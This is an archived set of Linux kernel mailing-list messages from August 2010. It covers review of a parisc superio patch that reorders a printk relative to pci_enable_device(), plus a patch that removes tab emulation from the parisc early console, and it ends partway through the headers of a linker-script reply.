Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id A024E8EE0D7;
	Tue,  3 Aug 2010 09:11:22 -0700 (PDT)
In-Reply-To: <1280850253-6128-1-git-send-email-segooon@gmail.com>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3021 gmane.linux.kernel.janitors:19731 gmane.linux.kernel:1018121
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3021>

On Tue, 2010-08-03 at 19:44 +0400, Kulikov Vasiliy wrote:
>  drivers/parisc/superio.c |    5 +++--
>  1 files changed, 3 insertions(+), 2 deletions(-)
> 
> diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
> index f7806d8..c8a36a2 100644
> --- a/drivers/parisc/superio.c
> +++ b/drivers/parisc/superio.c
> @@ -169,8 +169,6 @@ superio_init(struct pci_dev *pcidev)
>  	/* ...then properly fixup the USB to point at suckyio PIC */
>  	sio->usb_pdev->irq = superio_fixup_irq(sio->usb_pdev);
>  
> -	printk(KERN_INFO PFX "Found NS87560 Legacy I/O device at %s (IRQ %i)\n",
> -	       pci_name(pdev), pdev->irq);
>  
>  	pci_read_config_dword (pdev, SIO_SP1BAR, &sio->sp1_base);
>  	sio->sp1_base &= ~1;
> @@ -204,6 +202,9 @@ superio_init(struct pci_dev *pcidev)
>  	ret = pci_enable_device(pdev);
>  	BUG_ON(ret < 0);	/* not too much we can do about this... */
>  
> +	printk(KERN_INFO PFX "Found NS87560 Legacy I/O device at %s (IRQ %i)\n",
> +	       pci_name(pdev), pdev->irq);
> +
>  	/*
>  	 * Next project is programming the onboard interrupt controllers.
>  	 * PDC hasn't done this for us, since it's using polled I/O.

This really makes no sense; we want the information printed before we
start all the discovery prints, not after.  I assume lots of
initialisers want this too, so it looks particularly silly not to have
pci_name() returning the correct value until enable time.

If this is just the name initially assigned may change, this definitely
isn't true for parisc, and even for other things, it would be better to
print something than nothing.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vasiliy Kulikov <segooon@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [PATCH 07/11] parisc: superio: do not use PCI resources before
 pci_enable_device()
Date: Tue, 3 Aug 2010 20:35:08 +0400
Lines: 60
Approved: news@gmane.org
Message-ID: <20100803163508.GA7914@albatros>
References: <1280850253-6128-1-git-send-email-segooon@gmail.com>
 <1280851880.2774.36.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1280853318 28022 80.91.229.12 (3 Aug 2010 16:35:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Aug 2010 16:35:18 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Frans Pop <elendil@planet.nl>,
	Thomas Gleixner <tglx@linutronix.de>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 03 18:35:15 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OgKSR-0000s2-F5
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Aug 2010 18:35:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756404Ab0HCQfO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Aug 2010 12:35:14 -0400
Original-Received: from mail-ew0-f46.google.com ([209.85.215.46]:46425 "EHLO
	mail-ew0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755510Ab0HCQfN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Aug 2010 12:35:13 -0400
Original-Received: by ewy23 with SMTP id 23so1716943ewy.19
        for <multiple recipients>; Tue, 03 Aug 2010 09:35:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=33qbNkY9sIqgJyn+34Kc0ICf3aspX7F8uE5w8l4ar4s=;
        b=pjCipGPMWO4Qc5ZUoARZPkjpGg+zFR+C5ZukXlbm0kfGeSg/CA6vqwoI3vlw67iOtO
         l6aSK/7hNV8bgO/wX5PWD4+g0JFpfGB7nEOMB6i3kGzZ6ujYxRMPssvUJedoDd52ltZp
         kMNHViQ5qiZ7U5F8tV6IMRqK1LZ3RU7Vot8fI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        b=k0wP5RTNfH6Xx4ADnhD8FPjsDnOX5nfA7l3DVQT2qt/bNs9ZuH4Y+HKBKlqvHKld7Z
         HxOiafP59YQefiN096qSAePf5VyhjqaofUyYVv3zjLQbl4EytyqY7/kVZXsIQKDujVRi
         nnwik/7TKmbi+hj/YeVHdwNIpwllM462dKxEI=
Original-Received: by 10.14.45.11 with SMTP id o11mr2361904eeb.11.1280853311414;
        Tue, 03 Aug 2010 09:35:11 -0700 (PDT)
Original-Received: from localhost (ppp91-78-208-178.pppoe.mtu-net.ru [91.78.208.178])
        by mx.google.com with ESMTPS id z55sm11056635eeh.15.2010.08.03.09.35.09
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Tue, 03 Aug 2010 09:35:10 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1280851880.2774.36.camel@mulgrave.site>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3022 gmane.linux.kernel.janitors:19733 gmane.linux.kernel:1018128
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3022>

On Tue, Aug 03, 2010 at 11:11 -0500, James Bottomley wrote:
> On Tue, 2010-08-03 at 19:44 +0400, Kulikov Vasiliy wrote:
> >  drivers/parisc/superio.c |    5 +++--
> >  1 files changed, 3 insertions(+), 2 deletions(-)
> > 
> > diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
> > index f7806d8..c8a36a2 100644
> > --- a/drivers/parisc/superio.c
> > +++ b/drivers/parisc/superio.c
> > @@ -169,8 +169,6 @@ superio_init(struct pci_dev *pcidev)
> >  	/* ...then properly fixup the USB to point at suckyio PIC */
> >  	sio->usb_pdev->irq = superio_fixup_irq(sio->usb_pdev);
> >  
> > -	printk(KERN_INFO PFX "Found NS87560 Legacy I/O device at %s (IRQ %i)\n",
> > -	       pci_name(pdev), pdev->irq);
> >  
> >  	pci_read_config_dword (pdev, SIO_SP1BAR, &sio->sp1_base);
> >  	sio->sp1_base &= ~1;
> > @@ -204,6 +202,9 @@ superio_init(struct pci_dev *pcidev)
> >  	ret = pci_enable_device(pdev);
> >  	BUG_ON(ret < 0);	/* not too much we can do about this... */
> >  
> > +	printk(KERN_INFO PFX "Found NS87560 Legacy I/O device at %s (IRQ %i)\n",
> > +	       pci_name(pdev), pdev->irq);
> > +
> >  	/*
> >  	 * Next project is programming the onboard interrupt controllers.
> >  	 * PDC hasn't done this for us, since it's using polled I/O.
> 
> This really makes no sense; we want the information printed before we
> start all the discovery prints, not after.

Right, I missed it.

> I assume lots of
> initialisers want this too, so it looks particularly silly not to have
> pci_name() returning the correct value until enable time.
> 
> If this is just the name initially assigned may change, this definitely
> isn't true for parisc, and even for other things, it would be better to
> print something than nothing.

Not name, but pdev-irq. I was not searching for pci_name() as you can
see in coccinelle script :)

As it is only printing wrong value, the worst case is fooling user that
reads logs.


Is it OK to move pci_enable_device() just before this printk()?

> 
> James
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Barnes <jbarnes@virtuousgeek.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.janitors,gmane.linux.ports.parisc
Subject: Re: [PATCH 07/11] parisc: superio: do not use PCI resources before
 pci_enable_device()
Date: Tue, 3 Aug 2010 09:36:05 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <20100803093605.21248480@virtuousgeek.org>
References: <1280850253-6128-1-git-send-email-segooon@gmail.com>
	<1280851880.2774.36.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1280853386 28280 80.91.229.12 (3 Aug 2010 16:36:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Aug 2010 16:36:26 +0000 (UTC)
Cc: Kulikov Vasiliy <segooon@gmail.com>,
	kernel-janitors@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Frans Pop <elendil@planet.nl>,
	Thomas Gleixner <tglx@linutronix.de>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 03 18:36:22 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OgKTV-0002Ri-Dg
	for glk-linux-kernel-3@lo.gmane.org; Tue, 03 Aug 2010 18:36:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932384Ab0HCQgL (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 3 Aug 2010 12:36:11 -0400
Original-Received: from cpoproxy3-pub.bluehost.com ([67.222.54.6]:34530 "HELO
	cpoproxy3-pub.bluehost.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1755510Ab0HCQgI (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 3 Aug 2010 12:36:08 -0400
Original-Received: (qmail 13484 invoked by uid 0); 3 Aug 2010 16:36:08 -0000
Original-Received: from unknown (HELO box514.bluehost.com) (74.220.219.114)
  by cpoproxy3.bluehost.com with SMTP; 3 Aug 2010 16:36:08 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=virtuousgeek.org;
	h=Received:Date:From:To:Cc:Subject:Message-ID:In-Reply-To:References:X-Mailer:Mime-Version:Content-Type:Content-Transfer-Encoding:X-Identified-User;
	b=pmgwnMwsgiqKcB8Wmzlj1BsKvJb5Tjy/tYsdHiSYXd8zx4o/HTe+/Mfpa9C4S1pkz/t8ePoiF9kff/DpP+4BNSXbh0fb1eUi13D2hAe5OD2oORbYReMEzUeLpgv2gUGD;
Original-Received: from [75.110.194.140] (helo=localhost)
	by box514.bluehost.com with esmtpsa (TLSv1:AES128-SHA:128)
	(Exim 4.69)
	(envelope-from <jbarnes@virtuousgeek.org>)
	id 1OgKTH-0001kq-Hm; Tue, 03 Aug 2010 10:36:07 -0600
In-Reply-To: <1280851880.2774.36.camel@mulgrave.site>
X-Mailer: Claws Mail 3.7.6 (GTK+ 2.18.9; x86_64-redhat-linux-gnu)
X-Identified-User: {10642:box514.bluehost.com:virtuous:virtuousgeek.org} {sentby:smtp auth 75.110.194.140 authed with jbarnes@virtuousgeek.org}
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1018129 gmane.linux.kernel.janitors:19734 gmane.linux.ports.parisc:3023
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3023>

On Tue, 03 Aug 2010 11:11:20 -0500
James Bottomley <James.Bottomley@HansenPartnership.com> wrote:

> On Tue, 2010-08-03 at 19:44 +0400, Kulikov Vasiliy wrote:
> >  drivers/parisc/superio.c |    5 +++--
> >  1 files changed, 3 insertions(+), 2 deletions(-)
> > 
> > diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
> > index f7806d8..c8a36a2 100644
> > --- a/drivers/parisc/superio.c
> > +++ b/drivers/parisc/superio.c
> > @@ -169,8 +169,6 @@ superio_init(struct pci_dev *pcidev)
> >  	/* ...then properly fixup the USB to point at suckyio PIC */
> >  	sio->usb_pdev->irq = superio_fixup_irq(sio->usb_pdev);
> >  
> > -	printk(KERN_INFO PFX "Found NS87560 Legacy I/O device at %s (IRQ %i)\n",
> > -	       pci_name(pdev), pdev->irq);
> >  
> >  	pci_read_config_dword (pdev, SIO_SP1BAR, &sio->sp1_base);
> >  	sio->sp1_base &= ~1;
> > @@ -204,6 +202,9 @@ superio_init(struct pci_dev *pcidev)
> >  	ret = pci_enable_device(pdev);
> >  	BUG_ON(ret < 0);	/* not too much we can do about this... */
> >  
> > +	printk(KERN_INFO PFX "Found NS87560 Legacy I/O device at %s (IRQ %i)\n",
> > +	       pci_name(pdev), pdev->irq);
> > +
> >  	/*
> >  	 * Next project is programming the onboard interrupt controllers.
> >  	 * PDC hasn't done this for us, since it's using polled I/O.
> 
> This really makes no sense; we want the information printed before we
> start all the discovery prints, not after.  I assume lots of
> initialisers want this too, so it looks particularly silly not to have
> pci_name() returning the correct value until enable time.
> 
> If this is just the name initially assigned may change, this definitely
> isn't true for parisc, and even for other things, it would be better to
> print something than nothing.

Right.  Some of these "enable before use" patches are ok, for example
in some cases the IRQ may not be fully set up or resources may not be
enabled, so re-ordering things makes sense.

But just printing these values at init time should be harmless.  So
perhaps a smarter static check script is in order.

-- 
Jesse Barnes, Intel Open Source Technology Center

From - Thu Nov 08 21:06:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [PATCH 07/11] parisc: superio: do not use PCI resources before
 pci_enable_device()
Date: Tue, 03 Aug 2010 11:38:48 -0500
Lines: 66
Approved: news@gmane.org
Message-ID: <1280853528.11045.21.camel@mulgrave.site>
References: <1280850253-6128-1-git-send-email-segooon@gmail.com>
	 <1280851880.2774.36.camel@mulgrave.site>  <20100803163508.GA7914@albatros>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1280853539 28819 80.91.229.12 (3 Aug 2010 16:38:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Aug 2010 16:38:59 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Frans Pop <elendil@planet.nl>,
	Thomas Gleixner <tglx@linutronix.de>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Vasiliy Kulikov <segooon@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 03 18:38:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OgKVy-0002Xo-SS
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Aug 2010 18:38:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756578Ab0HCQiy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Aug 2010 12:38:54 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44126 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756404Ab0HCQix (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Aug 2010 12:38:53 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 669918EE13A;
	Tue,  3 Aug 2010 09:38:53 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id OjrM2N7Fvc+C; Tue,  3 Aug 2010 09:38:53 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 676298EE0D7;
	Tue,  3 Aug 2010 09:38:52 -0700 (PDT)
In-Reply-To: <20100803163508.GA7914@albatros>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3024 gmane.linux.kernel.janitors:19735 gmane.linux.kernel:1018130
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3024>

On Tue, 2010-08-03 at 20:35 +0400, Vasiliy Kulikov wrote:
> On Tue, Aug 03, 2010 at 11:11 -0500, James Bottomley wrote:
> > On Tue, 2010-08-03 at 19:44 +0400, Kulikov Vasiliy wrote:
> > >  drivers/parisc/superio.c |    5 +++--
> > >  1 files changed, 3 insertions(+), 2 deletions(-)
> > > 
> > > diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
> > > index f7806d8..c8a36a2 100644
> > > --- a/drivers/parisc/superio.c
> > > +++ b/drivers/parisc/superio.c
> > > @@ -169,8 +169,6 @@ superio_init(struct pci_dev *pcidev)
> > >  	/* ...then properly fixup the USB to point at suckyio PIC */
> > >  	sio->usb_pdev->irq = superio_fixup_irq(sio->usb_pdev);
> > >  
> > > -	printk(KERN_INFO PFX "Found NS87560 Legacy I/O device at %s (IRQ %i)\n",
> > > -	       pci_name(pdev), pdev->irq);
> > >  
> > >  	pci_read_config_dword (pdev, SIO_SP1BAR, &sio->sp1_base);
> > >  	sio->sp1_base &= ~1;
> > > @@ -204,6 +202,9 @@ superio_init(struct pci_dev *pcidev)
> > >  	ret = pci_enable_device(pdev);
> > >  	BUG_ON(ret < 0);	/* not too much we can do about this... */
> > >  
> > > +	printk(KERN_INFO PFX "Found NS87560 Legacy I/O device at %s (IRQ %i)\n",
> > > +	       pci_name(pdev), pdev->irq);
> > > +
> > >  	/*
> > >  	 * Next project is programming the onboard interrupt controllers.
> > >  	 * PDC hasn't done this for us, since it's using polled I/O.
> > 
> > This really makes no sense; we want the information printed before we
> > start all the discovery prints, not after.
> 
> Right, I missed it.
> 
> > I assume lots of
> > initialisers want this too, so it looks particularly silly not to have
> > pci_name() returning the correct value until enable time.
> > 
> > If this is just the name initially assigned may change, this definitely
> > isn't true for parisc, and even for other things, it would be better to
> > print something than nothing.
> 
> Not name, but pdev-irq. I was not searching for pci_name() as you can
> see in coccinelle script :)
> 
> As it is only printing wrong value, the worst case is fooling user that
> reads logs.
> 
> 
> Is it OK to move pci_enable_device() just before this printk()?

Not really ... we need the device set up before it gets enabled.

If it's only the irq, then just leave it ... the name is more important
and an uninitialised IRQ returns -1 which is a reasonable signal of not
being set up yet ... but I think you'll find it will be pre setup on all
platforms.

However, 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: [PATCH] parisc: pass through '\t' to early (iodc) console
Date: Tue, 3 Aug 2010 20:24:19 -0400
Organization: nrc.ca
Lines: 15
Approved: news@gmane.org
Message-ID: <20100804002418.GA18967@hiauly1.hia.nrc.ca>
References: <20100719010725.GN10884@bombadil.infradead.org>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1280881467 27619 80.91.229.12 (4 Aug 2010 00:24:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 Aug 2010 00:24:27 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 04 02:24:25 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OgRmR-00012A-Ji
	for glpp-linux-parisc@lo.gmane.org; Wed, 04 Aug 2010 02:24:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757885Ab0HDAYW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Aug 2010 20:24:22 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2424 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757660Ab0HDAYV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Aug 2010 20:24:21 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 032684D18; Tue,  3 Aug 2010 20:24:19 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20100719010725.GN10884@bombadil.infradead.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3025
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3025>

On Sun, 18 Jul 2010, Kyle McMartin wrote:

> I'll resend it in the morning.

Unfortunately, the change doesn't appear in the release.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: pass through '\t' to early (iodc) console
Date: Tue, 3 Aug 2010 20:38:08 -0400
Lines: 58
Approved: news@gmane.org
Message-ID: <20100804003808.GA2684@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1280882296 29504 80.91.229.12 (4 Aug 2010 00:38:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 Aug 2010 00:38:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 04 02:38:14 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OgRzm-0003Dz-SP
	for glpp-linux-parisc@lo.gmane.org; Wed, 04 Aug 2010 02:38:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757969Ab0HDAiK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Aug 2010 20:38:10 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:48917 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756799Ab0HDAiJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Aug 2010 20:38:09 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1OgRzk-00046Z-Sp; Wed, 04 Aug 2010 00:38:08 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.20 (2009-08-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3026
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3026>

The firmware handles '\t' internally, so stop trying to emulate it
(which, incidentally, had a bug in it.)

Fixes a really weird hang at bootup in rcu_bootup_announce, which,
as far as I can tell, is the first printk in the core kernel to use
a tab as the first character.

Cc: stable@kernel.org
Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
---

Oops, looks like this slipped through the cracks in my summer
vacation. Resending for 2.6.36 and stable kernels...

 arch/parisc/kernel/firmware.c |   12 ++----------
 1 files changed, 2 insertions(+), 10 deletions(-)

diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 4c247e0..df971fa 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1123,7 +1123,6 @@ static char __attribute__((aligned(64))) iodc_dbuf[4096];
  */
 int pdc_iodc_print(const unsigned char *str, unsigned count)
 {
-	static int posx;        /* for simple TAB-Simulation... */
 	unsigned int i;
 	unsigned long flags;
 
@@ -1133,19 +1132,12 @@ int pdc_iodc_print(const unsigned char *str, unsigned count)
 			iodc_dbuf[i+0] = '\r';
 			iodc_dbuf[i+1] = '\n';
 			i += 2;
-			posx = 0;
 			goto print;
-		case '\t':
-			while (posx & 7) {
-				iodc_dbuf[i] = ' ';
-				i++, posx++;
-			}
-			break;
 		case '\b':	/* BS */
-			posx -= 2;
+			i--; /* overwrite last */
 		default:
 			iodc_dbuf[i] = str[i];
-			i++, posx++;
+			i++;
 			break;
 		}
 	}
-- 
1.7.0.1
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Denys Vlasenko <vda.linux@googlemail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kbuild.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 2/4] module linker script: coalesce function and data sections
Date: Fri, 6 Aug 2010 04:18:06 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <201008060418.06363.vda.linux@googlemail.com>
References: <1280360876-2571-1-git-send-email-vda.linux@googlemail.com> <1280360876-2571-3-git-send-email-vda.linux@googlemail.com> <4C581DEE.8080205@suse.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-2"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1281061105 12056 80.91.229.12 (6 Aug 2010 02:18:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 6 Aug 2010 02:18:25 +0000 (UTC)
Cc: linux-kbuild <linux-kbuild@vger.kernel.org>,
	linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	lkml <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>,
